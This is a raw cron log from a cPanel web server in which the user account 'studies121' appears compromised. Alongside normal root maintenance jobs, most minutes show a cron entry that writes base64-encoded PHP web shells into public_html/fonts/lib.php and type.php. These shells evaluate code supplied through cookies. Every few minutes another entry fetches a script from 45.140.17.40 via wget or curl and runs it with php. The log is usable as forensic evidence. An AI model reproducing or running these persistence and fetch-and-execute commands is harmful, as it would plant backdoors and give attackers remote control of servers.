Sep 20 19:59:01 ip-184-168-122-23 CROND[25157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 19:59:01 ip-184-168-122-23 CROND[25156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:00:01 ip-184-168-122-23 CROND[25410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:00:01 ip-184-168-122-23 CROND[25412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25417]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25418]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 20:00:01 ip-184-168-122-23 CROND[25414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:01:01 ip-184-168-122-23 CROND[25694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:01:01 ip-184-168-122-23 CROND[25696]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 20:01:01 ip-184-168-122-23 CROND[25698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:01:01 ip-184-168-122-23 CROND[25697]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 20:01:01 ip-184-168-122-23 CROND[25700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:01:01 ip-184-168-122-23 CROND[25701]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25697]: starting 0anacron
Sep 20 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[25718]: finished 0anacron
Sep 20 20:02:01 ip-184-168-122-23 CROND[25934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:02:01 ip-184-168-122-23 CROND[25936]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:02:01 ip-184-168-122-23 CROND[25935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:02:01 ip-184-168-122-23 CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:02:01 ip-184-168-122-23 CROND[25940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:03:01 ip-184-168-122-23 CROND[26284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:03:01 ip-184-168-122-23 CROND[26286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:03:01 ip-184-168-122-23 CROND[26287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:03:01 ip-184-168-122-23 CROND[26288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:04:01 ip-184-168-122-23 CROND[26542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:04:01 ip-184-168-122-23 CROND[26540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:04:01 ip-184-168-122-23 CROND[26541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:04:01 ip-184-168-122-23 CROND[26543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:04:01 ip-184-168-122-23 CROND[26547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26804]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26803]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26805]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:05:01 ip-184-168-122-23 CROND[26812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:06:01 ip-184-168-122-23 CROND[27067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:06:01 ip-184-168-122-23 CROND[27066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:06:01 ip-184-168-122-23 CROND[27068]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:06:01 ip-184-168-122-23 CROND[27072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:06:02 ip-184-168-122-23 CROND[27075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:07:01 ip-184-168-122-23 CROND[27326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:07:01 ip-184-168-122-23 CROND[27328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:07:01 ip-184-168-122-23 CROND[27329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:07:01 ip-184-168-122-23 CROND[27330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:08:01 ip-184-168-122-23 CROND[27454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:08:01 ip-184-168-122-23 CROND[27456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:08:01 ip-184-168-122-23 CROND[27457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:08:01 ip-184-168-122-23 CROND[27458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:08:01 ip-184-168-122-23 CROND[27459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:09:01 ip-184-168-122-23 CROND[27776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:09:01 ip-184-168-122-23 CROND[27780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:09:01 ip-184-168-122-23 CROND[27779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:09:01 ip-184-168-122-23 CROND[27778]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 20:09:01 ip-184-168-122-23 CROND[27777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:10:01 ip-184-168-122-23 CROND[27984]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 20:10:01 ip-184-168-122-23 CROND[27985]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 20:10:01 ip-184-168-122-23 CROND[27989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 20:10:01 ip-184-168-122-23 CROND[27990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 20:10:01 ip-184-168-122-23 CROND[27992]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 20:10:01 ip-184-168-122-23 CROND[27993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 20:10:01 ip-184-168-122-23 CROND[27995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 20:10:01 ip-184-168-122-23 CROND[27996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 20:11:01 ip-184-168-122-23 CROND[28243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
